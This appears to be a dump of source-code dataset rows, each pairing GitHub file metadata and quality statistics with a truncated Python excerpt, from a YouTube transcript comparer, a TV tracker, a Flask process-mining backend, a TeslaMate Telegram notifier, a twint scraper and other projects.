m... | 20.904762 | 49 | 0.6082 | 46 | 439 | 5.652174 | 0.76087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065831 | 0.273349 | 439 | 20 | 50 | 21.95 | 0.749216 | 0.150342 | 0 | 0 | 1 | 0 | 0.094595 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1708b50e51dd839f95011d63cd587ab6817e6ebc | 12,540 | py | Python | program/compare.py | rabo452/python-gui | ab0be8626d148c746c29cd362d342485c14c09ae | [
"MIT"
] | null | null | null | program/compare.py | rabo452/python-gui | ab0be8626d148c746c29cd362d342485c14c09ae | [
"MIT"
] | null | null | null | program/compare.py | rabo452/python-gui | ab0be8626d148c746c29cd362d342485c14c09ae | [
"MIT"
] | null | null | null | import requests
import pytube
import os
from bs4 import BeautifulSoup as bs
from moviepy.video.io.VideoFileClip import VideoFileClip
from youtube_transcript_api import YouTubeTranscriptApi
this_module = __import__(__name__)
#compare two or more different videos to find the same parts and download it
#for 1 ma... | 54.051724 | 222 | 0.58134 | 1,443 | 12,540 | 4.740818 | 0.128898 | 0.038883 | 0.035083 | 0.027628 | 0.44818 | 0.385031 | 0.333577 | 0.265166 | 0.255226 | 0.218974 | 0 | 0.007373 | 0.318581 | 12,540 | 231 | 223 | 54.285714 | 0.793212 | 0.09697 | 0 | 0.238372 | 0 | 0 | 0.054572 | 0.006596 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046512 | false | 0 | 0.040698 | 0 | 0.116279 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca02d3451b5a0539ec40cd600dd5837fcf09dd42 | 35,162 | py | Python | tracker/tracker.py | matthewmckenna/tvst | 0c673a118c09231839d0960c59e566cb7963e0d6 | [
"MIT"
] | null | null | null | tracker/tracker.py | matthewmckenna/tvst | 0c673a118c09231839d0960c59e566cb7963e0d6 | [
"MIT"
] | null | null | null | tracker/tracker.py | matthewmckenna/tvst | 0c673a118c09231839d0960c59e566cb7963e0d6 | [
"MIT"
] | null | null | null | #!/usr/env/bin python3
"""
Utility to keep track of TV shows
"""
import argparse
import collections
# import datetime
import json
import logging
import os
# import re
from Queue import Queue # Python 3 only! module is queue in Python 2
import sys
import threading
import requests
from .exceptions import (
APIRequ... | 32.082117 | 94 | 0.615608 | 4,253 | 35,162 | 4.887374 | 0.112626 | 0.021697 | 0.005388 | 0.004618 | 0.339892 | 0.266044 | 0.222265 | 0.164534 | 0.140142 | 0.125132 | 0 | 0.002925 | 0.290257 | 35,162 | 1,095 | 95 | 32.111416 | 0.829981 | 0.211649 | 0 | 0.301028 | 0 | 0.001468 | 0.108376 | 0.006801 | 0 | 0 | 0 | 0.006393 | 0 | 1 | 0.088106 | false | 0.004405 | 0.016153 | 0.020558 | 0.15859 | 0.004405 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca02dcd616277e3b385bdfc3b02db8570bac7008 | 3,573 | py | Python | pycsp/common/toolkit.py | Erhannis/pycsp | 7b06b4d90a73ed84f60d4321ae66fbbf4ebab039 | [
"MIT"
] | 38 | 2016-04-18T08:39:23.000Z | 2021-12-23T01:49:09.000Z | pycsp/common/toolkit.py | Erhannis/pycsp | 7b06b4d90a73ed84f60d4321ae66fbbf4ebab039 | [
"MIT"
] | 8 | 2016-04-05T14:28:43.000Z | 2021-01-21T02:15:19.000Z | pycsp/common/toolkit.py | Erhannis/pycsp | 7b06b4d90a73ed84f60d4321ae66fbbf4ebab039 | [
"MIT"
] | 10 | 2015-12-11T14:43:11.000Z | 2022-01-04T08:48:35.000Z | """
Toolkit module
Copyright (c) 2009 John Markus Bjoerndalen <jmb@cs.uit.no>,
Brian Vinter <vinter@nbi.dk>, Rune M. Friborg <rune.m.friborg@gmail.com>.
See LICENSE.txt for licensing details (MIT License).
"""
from pycsp.common.six import string_types
import pycsp.current as pycsp
if pycsp.trace:
from py... | 25.161972 | 94 | 0.52365 | 365 | 3,573 | 5.065753 | 0.309589 | 0.029746 | 0.03245 | 0.021633 | 0.094105 | 0.042185 | 0.042185 | 0.042185 | 0 | 0 | 0 | 0.00852 | 0.375875 | 3,573 | 141 | 95 | 25.340426 | 0.820628 | 0.065211 | 0 | 0.346939 | 0 | 0 | 0.002702 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0.010204 | 0.05102 | 0 | 0.132653 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca03ea5c45820906810f2328be060ad7a4688584 | 6,011 | py | Python | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null | patron/aem/op_map/neutron_op_map.py | casbin/openstack-patron | b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25 | [
"Apache-2.0"
] | null | null | null |
# op map for neutron.
op_map = \
{(9696, '/v2.0', '/agents', 'GET', ''): (),
(9696, '/v2.0', '/agents/%UUID%', 'GET', ''): ('get_agent',),
(9696, '/v2.0', '/agents/%UUID%', 'PUT', ''): ('update_agent',),
(9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'GET', ''): ('get_dhcp-networks',),
(9696, '/v2.0', '/agents/%U... | 63.273684 | 100 | 0.497255 | 701 | 6,011 | 4.171184 | 0.101284 | 0.182627 | 0.213064 | 0.164159 | 0.745212 | 0.440834 | 0.25342 | 0.138167 | 0.069767 | 0.058824 | 0 | 0.104107 | 0.129097 | 6,011 | 94 | 101 | 63.946809 | 0.454441 | 0.003161 | 0 | 0 | 0 | 0 | 0.527133 | 0.226582 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ca04f9a8a801295befff11b7f19b734494ae70d1 | 2,178 | py | Python | tests/test_daemon.py | aewens/revoko | dd44afdf97524eb4ab2a8a240b0bc10b6f859d38 | [
"Apache-2.0"
] | null | null | null | tests/test_daemon.py | aewens/revoko | dd44afdf97524eb4ab2a8a240b0bc10b6f859d38 | [
"Apache-2.0"
] | null | null | null | tests/test_daemon.py | aewens/revoko | dd44afdf97524eb4ab2a8a240b0bc10b6f859d38 | [
"Apache-2.0"
] | null | null | null | from .context import daemon
from pathlib import Path
from argparse import Namespace
args = Namespace(timeout=3 * 60, no_scripts=False, no_updates=False,
kill=[], kill_all=True)
def test_eprint():
assert daemon.eprint("Hello, world!") is None, "eprint returned something"
def test_shell_run_pass():
result... | 35.129032 | 78 | 0.714876 | 306 | 2,178 | 4.918301 | 0.287582 | 0.058472 | 0.065116 | 0.045183 | 0.345515 | 0.301661 | 0.261794 | 0.261794 | 0.261794 | 0.261794 | 0 | 0.004467 | 0.177686 | 2,178 | 61 | 79 | 35.704918 | 0.835846 | 0 | 0 | 0.212766 | 0 | 0 | 0.252525 | 0.012397 | 0 | 0 | 0 | 0 | 0.319149 | 1 | 0.212766 | false | 0.085106 | 0.06383 | 0 | 0.276596 | 0.042553 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
ca04ff4c503789e9653ebd021754a4374c36aaf9 | 22,428 | py | Python | api/backend.py | DataCloud-project/DIS-PIPE-Discovery---Visualization | 60fce163da330f09f90ca031f153ed07bb80f87a | [
"Apache-2.0"
] | 2 | 2022-02-28T01:56:03.000Z | 2022-03-02T21:06:35.000Z | api/backend.py | DataCloud-project/DIS-PIPE-Discovery---Visualization | 60fce163da330f09f90ca031f153ed07bb80f87a | [
"Apache-2.0"
] | null | null | null | api/backend.py | DataCloud-project/DIS-PIPE-Discovery---Visualization | 60fce163da330f09f90ca031f153ed07bb80f87a | [
"Apache-2.0"
] | 1 | 2022-02-22T10:30:21.000Z | 2022-02-22T10:30:21.000Z | import flask
from flask import request, jsonify, render_template
import os
import requests
IMAGE_FOLDER = os.path.join('static', 'images')
app = flask.Flask(__name__)
app.config["DEBUG"] = True
app.config['UPLOAD_FOLDER'] = IMAGE_FOLDER
from graphviz import Digraph
#import file xes
from pm4py.object... | 39.41652 | 148 | 0.598716 | 2,373 | 22,428 | 5.474926 | 0.093552 | 0.10899 | 0.038793 | 0.020936 | 0.716749 | 0.691579 | 0.668334 | 0.640009 | 0.601216 | 0.56835 | 0 | 0.006501 | 0.273007 | 22,428 | 569 | 149 | 39.41652 | 0.79031 | 0.081996 | 0 | 0.458874 | 0 | 0 | 0.069677 | 0.004074 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04329 | false | 0 | 0.121212 | 0 | 0.207792 | 0.004329 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca05057b6f48797cfc259e18cdcc1c4ca53c5260 | 19,898 | py | Python | veroviz/_params.py | INFORMSJoC/2020.0340 | 9536a35b9607266ad95799cbb7e59c9451aaa6ea | [
"MIT"
] | 1 | 2022-03-28T09:56:53.000Z | 2022-03-28T09:56:53.000Z | veroviz/_params.py | INFORMSJoC/2020.0340 | 9536a35b9607266ad95799cbb7e59c9451aaa6ea | [
"MIT"
] | null | null | null | veroviz/_params.py | INFORMSJoC/2020.0340 | 9536a35b9607266ad95799cbb7e59c9451aaa6ea | [
"MIT"
] | 1 | 2021-10-30T05:01:49.000Z | 2021-10-30T05:01:49.000Z | # Copyright (c) 2021 Lan Peng and Chase Murray
# Licensed under the MIT License. See LICENSING for details.
# Const for distance unit changing
VRV_CONST_METERS_PER_KILOMETER = 1000.0
VRV_CONST_METERS_PER_MILE = 1609.34
VRV_CONST_METERS_PER_YARD = 0.9144
VRV_CONST_METERS_PER_FEET = 0.3048
VRV_CONST_METERS_PER_NAUTICAL_... | 23.299766 | 87 | 0.626746 | 1,882 | 19,898 | 6.502657 | 0.383103 | 0.132129 | 0.016669 | 0.011767 | 0.266955 | 0.261236 | 0.245138 | 0.240235 | 0.240235 | 0.240235 | 0 | 0.039571 | 0.194793 | 19,898 | 854 | 88 | 23.299766 | 0.724254 | 0.128807 | 0 | 0.125 | 0 | 0 | 0.566114 | 0.204659 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.001389 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca0785af7063963b58fdaae8f471025888b8b46f | 1,361 | py | Python | src/xSACdb/roles/decorators.py | minyiky/xSACdb | 8c407e9a9da196750a66ad53613ad67c8c56e1c3 | [
"MIT"
] | 2 | 2017-08-14T14:40:17.000Z | 2019-02-07T13:10:23.000Z | src/xSACdb/roles/decorators.py | minyiky/xSACdb | 8c407e9a9da196750a66ad53613ad67c8c56e1c3 | [
"MIT"
] | 19 | 2016-02-07T18:02:53.000Z | 2019-11-03T17:48:13.000Z | src/xSACdb/roles/decorators.py | minyiky/xSACdb | 8c407e9a9da196750a66ad53613ad67c8c56e1c3 | [
"MIT"
] | 4 | 2015-10-19T17:24:35.000Z | 2021-05-12T07:30:32.000Z | from django.core.exceptions import PermissionDenied
from .functions import *
class require_group:
def __init__(self, f):
self.f=f
def is_allowed(self,user):
return False
def __call__(self,request, *args, **kwargs):
if self.is_allowed(request.user):
return self.f(reque... | 28.354167 | 51 | 0.714181 | 179 | 1,361 | 5.134078 | 0.212291 | 0.107726 | 0.163221 | 0.174102 | 0.478781 | 0.478781 | 0.45049 | 0.45049 | 0.45049 | 0.319913 | 0 | 0 | 0.198384 | 1,361 | 47 | 52 | 28.957447 | 0.842346 | 0 | 0 | 0.25641 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307692 | false | 0 | 0.051282 | 0.25641 | 0.897436 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
ca08a41e4121d749dc35922571ea21c079fb53a8 | 6,229 | py | Python | adaptation.py | yxtj/VideoServing | 52d1c1c97021f11cc4d77c181ac1144fe3a789ce | [
"MIT"
] | null | null | null | adaptation.py | yxtj/VideoServing | 52d1c1c97021f11cc4d77c181ac1144fe3a789ce | [
"MIT"
] | null | null | null | adaptation.py | yxtj/VideoServing | 52d1c1c97021f11cc4d77c181ac1144fe3a789ce | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from common import Configuration
import numpy as np
import torch
import torch.nn as nn
#Configuration = namedtuple('Configuration', ['fps', 'rsl'])
def acc2index(accuracies, thresholds):
return np.digitize(accuracies, thresholds)
class Adapter():
def __init__(self, dim_feat=None, di... | 34.225275 | 81 | 0.587735 | 830 | 6,229 | 4.193976 | 0.208434 | 0.036197 | 0.0316 | 0.017236 | 0.211146 | 0.091928 | 0.091928 | 0.064924 | 0.064924 | 0.064924 | 0 | 0.003692 | 0.304222 | 6,229 | 182 | 82 | 34.225275 | 0.799492 | 0.11607 | 0 | 0.090226 | 0 | 0 | 0.024476 | 0 | 0 | 0 | 0 | 0.005495 | 0.037594 | 1 | 0.12782 | false | 0 | 0.030075 | 0.030075 | 0.270677 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca097708767493554637834ada6bf578f67bee1f | 6,538 | py | Python | teslamateMqttToTelegram.py | carloscuezva/Teslamate-Telegram | f33843735011a94221b279028af66a7f09c92176 | [
"MIT"
] | 1 | 2021-11-01T11:38:52.000Z | 2021-11-01T11:38:52.000Z | teslamateMqttToTelegram.py | carloscuezva/Teslamate-Telegram | f33843735011a94221b279028af66a7f09c92176 | [
"MIT"
] | null | null | null | teslamateMqttToTelegram.py | carloscuezva/Teslamate-Telegram | f33843735011a94221b279028af66a7f09c92176 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import paho.mqtt.client as mqtt
import requests
import sys
from time import sleep
import config as conf
import logging
import logging.handlers
data = {
"sent_resumen": 0,
"display_name": "",
"state": "",
"software_current_version": "",
"software_new_version": "",
"batte... | 29.1875 | 191 | 0.563475 | 715 | 6,538 | 5.029371 | 0.272727 | 0.036707 | 0.044494 | 0.03782 | 0.146552 | 0.068409 | 0.035595 | 0 | 0 | 0 | 0 | 0.011871 | 0.291374 | 6,538 | 223 | 192 | 29.318386 | 0.759983 | 0.003212 | 0 | 0.198864 | 0 | 0.017045 | 0.255871 | 0.029777 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051136 | false | 0 | 0.039773 | 0 | 0.096591 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca099560fca77e06dcd73b0fa036c9138dea0681 | 9,323 | py | Python | examples/utils.py | CarbonEdge2021/SBTi-finance-tool | a5dbf1c200a9e80913c34251a918363a054dcb61 | [
"MIT"
] | 26 | 2020-07-24T14:49:24.000Z | 2021-10-13T10:04:52.000Z | examples/utils.py | CarbonEdge2021/SBTi-finance-tool | a5dbf1c200a9e80913c34251a918363a054dcb61 | [
"MIT"
] | 128 | 2020-07-27T08:48:27.000Z | 2021-09-25T11:35:22.000Z | examples/utils.py | CarbonEdge2021/SBTi-finance-tool | a5dbf1c200a9e80913c34251a918363a054dcb61 | [
"MIT"
] | 15 | 2020-07-31T14:47:07.000Z | 2021-07-26T19:33:07.000Z | import pandas as pd
import numpy as np
import copy as copy
import random
def print_aggregations(aggregations):
aggregations = aggregations.dict()
print("{:<10s} {:<10s} {}".format('Timeframe', 'Scope', 'Temp score'))
for time_frame, time_frame_values in aggregations.items():
if time_frame_values:
... | 49.590426 | 159 | 0.696342 | 1,127 | 9,323 | 5.517303 | 0.171251 | 0.060148 | 0.07816 | 0.049534 | 0.483274 | 0.436314 | 0.394661 | 0.380187 | 0.334674 | 0.31441 | 0 | 0.020173 | 0.170546 | 9,323 | 188 | 160 | 49.590426 | 0.783913 | 0 | 0 | 0.25641 | 0 | 0 | 0.13417 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057692 | false | 0 | 0.044872 | 0 | 0.121795 | 0.108974 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca0c63dc19f3b2e160b70ca4788264e5f2ce3527 | 3,635 | py | Python | powerapi/database/socket_db.py | EmileCadorel/powerapi | 588413fe8f8369d02084bd7adff1d610273a4b9f | [
"BSD-3-Clause"
] | null | null | null | powerapi/database/socket_db.py | EmileCadorel/powerapi | 588413fe8f8369d02084bd7adff1d610273a4b9f | [
"BSD-3-Clause"
] | null | null | null | powerapi/database/socket_db.py | EmileCadorel/powerapi | 588413fe8f8369d02084bd7adff1d610273a4b9f | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2018, INRIA
# Copyright (c) 2018, University of Lille
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, t... | 34.292453 | 110 | 0.680605 | 469 | 3,635 | 5.144989 | 0.41791 | 0.037298 | 0.024865 | 0.034811 | 0.137588 | 0.081227 | 0.056361 | 0.056361 | 0.056361 | 0.056361 | 0 | 0.007656 | 0.245392 | 3,635 | 105 | 111 | 34.619048 | 0.872038 | 0.485832 | 0 | 0 | 0 | 0 | 0.005022 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.133333 | 0.022222 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca0e9eae2f2dcbbc14156259172bfc053e00d20b | 1,300 | py | Python | sites/income/models.py | cmwaura/Final_Red_Scrap | 6b1b78de7d1129cda787e9f4688ddd409af39eb5 | [
"MIT"
] | null | null | null | sites/income/models.py | cmwaura/Final_Red_Scrap | 6b1b78de7d1129cda787e9f4688ddd409af39eb5 | [
"MIT"
] | null | null | null | sites/income/models.py | cmwaura/Final_Red_Scrap | 6b1b78de7d1129cda787e9f4688ddd409af39eb5 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.db import models
from django.db.models.signals import pre_delete
from scrapy_djangoitem import DjangoItem
from dynamic_scraper.models import Scraper, SchedulerRuntime
from django.dispatch import receiver
# Create your models here.
class IncomeWebsite(models.Model):
... | 28.26087 | 105 | 0.806923 | 164 | 1,300 | 6.189024 | 0.353659 | 0.044335 | 0.0867 | 0.050246 | 0.344828 | 0.291626 | 0.291626 | 0.291626 | 0.189163 | 0.151724 | 0 | 0.005159 | 0.105385 | 1,300 | 45 | 106 | 28.888889 | 0.867584 | 0.018462 | 0 | 0.137931 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.068966 | false | 0 | 0.206897 | 0.034483 | 0.724138 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ca0f63b4a43243ecb4df571525f505c8439bcd64 | 1,699 | py | Python | tabcmd/commands/user/remove_users_command.py | WillAyd/tabcmd | 1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15 | [
"MIT"
] | null | null | null | tabcmd/commands/user/remove_users_command.py | WillAyd/tabcmd | 1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15 | [
"MIT"
] | null | null | null | tabcmd/commands/user/remove_users_command.py | WillAyd/tabcmd | 1ba4a6ce1586b5ec4286aca0edff0fbaa1c69f15 | [
"MIT"
] | null | null | null | from tabcmd.parsers.remove_users_parser import RemoveUserParser
from .user_command import UserCommand
import tableauserverclient as TSC
from tabcmd.execution.logger_config import log
from ..auth.session import Session
class RemoveUserCommand(UserCommand):
"""
Command to remove users from the specified group
... | 40.452381 | 107 | 0.638611 | 196 | 1,699 | 5.285714 | 0.377551 | 0.069498 | 0.067568 | 0.07722 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007899 | 0.254856 | 1,699 | 41 | 108 | 41.439024 | 0.810427 | 0.040612 | 0 | 0 | 0 | 0 | 0.119653 | 0 | 0 | 0 | 0 | 0.02439 | 0 | 1 | 0.058824 | false | 0 | 0.147059 | 0 | 0.264706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca0fe4b6afa0274c9433d3fa01c0567fab4f5a2c | 5,896 | py | Python | src/data/collect_follow_list.py | puevigreven/made_with_ml_incubator_project | f726e6506428774d8bf1c2cd3d31f2f94386b5e5 | [
"MIT"
] | null | null | null | src/data/collect_follow_list.py | puevigreven/made_with_ml_incubator_project | f726e6506428774d8bf1c2cd3d31f2f94386b5e5 | [
"MIT"
] | 4 | 2021-06-08T22:07:31.000Z | 2022-03-12T00:43:11.000Z | src/data/collect_follow_list.py | puevigreven/made_with_ml_incubator_project | f726e6506428774d8bf1c2cd3d31f2f94386b5e5 | [
"MIT"
] | null | null | null | import json
import logging
import os
import subprocess
import time
from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor
from functools import partial
from os import listdir
from os.path import isfile, join
import nest_asyncio
import pandas as pd
import src.log_config as log_config
import twint
nest... | 34.682353 | 105 | 0.58192 | 694 | 5,896 | 4.723343 | 0.230548 | 0.076266 | 0.042709 | 0.038438 | 0.408786 | 0.344722 | 0.283405 | 0.283405 | 0.274558 | 0.274558 | 0 | 0.006173 | 0.313094 | 5,896 | 169 | 106 | 34.887574 | 0.80321 | 0.057836 | 0 | 0.279412 | 0 | 0 | 0.117085 | 0.043659 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051471 | false | 0 | 0.095588 | 0 | 0.161765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca1029b7a53eaca7b173f233726d151ed4e3e4bb | 287 | py | Python | src/ssadmin/tests.py | daimon99/ssadmin | 9a1470712bdca5b0db17895d4c8215555d6b1b04 | [
"MIT"
] | null | null | null | src/ssadmin/tests.py | daimon99/ssadmin | 9a1470712bdca5b0db17895d4c8215555d6b1b04 | [
"MIT"
] | null | null | null | src/ssadmin/tests.py | daimon99/ssadmin | 9a1470712bdca5b0db17895d4c8215555d6b1b04 | [
"MIT"
] | null | null | null | # coding: utf8
# Create your tests here.
from django.test.testcases import SimpleTestCase
class SSTestCase(SimpleTestCase):
allow_database_queries = True
def test_show_port(self):
from ssadmin.services import show_port
ret = show_port(10000)
print ret
| 22.076923 | 48 | 0.721254 | 36 | 287 | 5.583333 | 0.75 | 0.119403 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026786 | 0.219512 | 287 | 12 | 49 | 23.916667 | 0.870536 | 0.125436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.285714 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ca112008ab3c6828677b5ed0441a31de80ccd33e | 3,434 | py | Python | app/blueprints/orders/schemas.py | CalebM1987/orders-sqlalchemy-example | 5a2210c0fce19cafa4267ae463841b3b057abac8 | [
"Apache-2.0"
] | null | null | null | app/blueprints/orders/schemas.py | CalebM1987/orders-sqlalchemy-example | 5a2210c0fce19cafa4267ae463841b3b057abac8 | [
"Apache-2.0"
] | null | null | null | app/blueprints/orders/schemas.py | CalebM1987/orders-sqlalchemy-example | 5a2210c0fce19cafa4267ae463841b3b057abac8 | [
"Apache-2.0"
] | null | null | null | from marshmallow import Schema, EXCLUDE, fields, post_load
import datetime
from .models import *
class SerializableDateTime(fields.DateTime):
def _deserialize(self, value, attr, data, **kwargs):
if isinstance(value, datetime.datetime):
return value
return super()._deserialize(value, att... | 41.373494 | 119 | 0.721899 | 388 | 3,434 | 6.342784 | 0.293814 | 0.096709 | 0.093458 | 0.063389 | 0.320601 | 0.266558 | 0.194636 | 0.194636 | 0.142219 | 0.088582 | 0 | 0.001755 | 0.170355 | 3,434 | 83 | 120 | 41.373494 | 0.862057 | 0.010483 | 0 | 0.233333 | 0 | 0 | 0.176678 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.05 | 0.016667 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ca11278032193161ac55c232cf25a8b385456e2f | 2,196 | py | Python | tests/unit/test_raspberry_pi_monitor.py | Kami/scalyr-agent-2-monitors | 367c57cd5489a4661ca6922c1c5ffa4c3b0969d6 | [
"Apache-2.0"
] | null | null | null | tests/unit/test_raspberry_pi_monitor.py | Kami/scalyr-agent-2-monitors | 367c57cd5489a4661ca6922c1c5ffa4c3b0969d6 | [
"Apache-2.0"
] | null | null | null | tests/unit/test_raspberry_pi_monitor.py | Kami/scalyr-agent-2-monitors | 367c57cd5489a4661ca6922c1c5ffa4c3b0969d6 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Tomaz Muraus
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
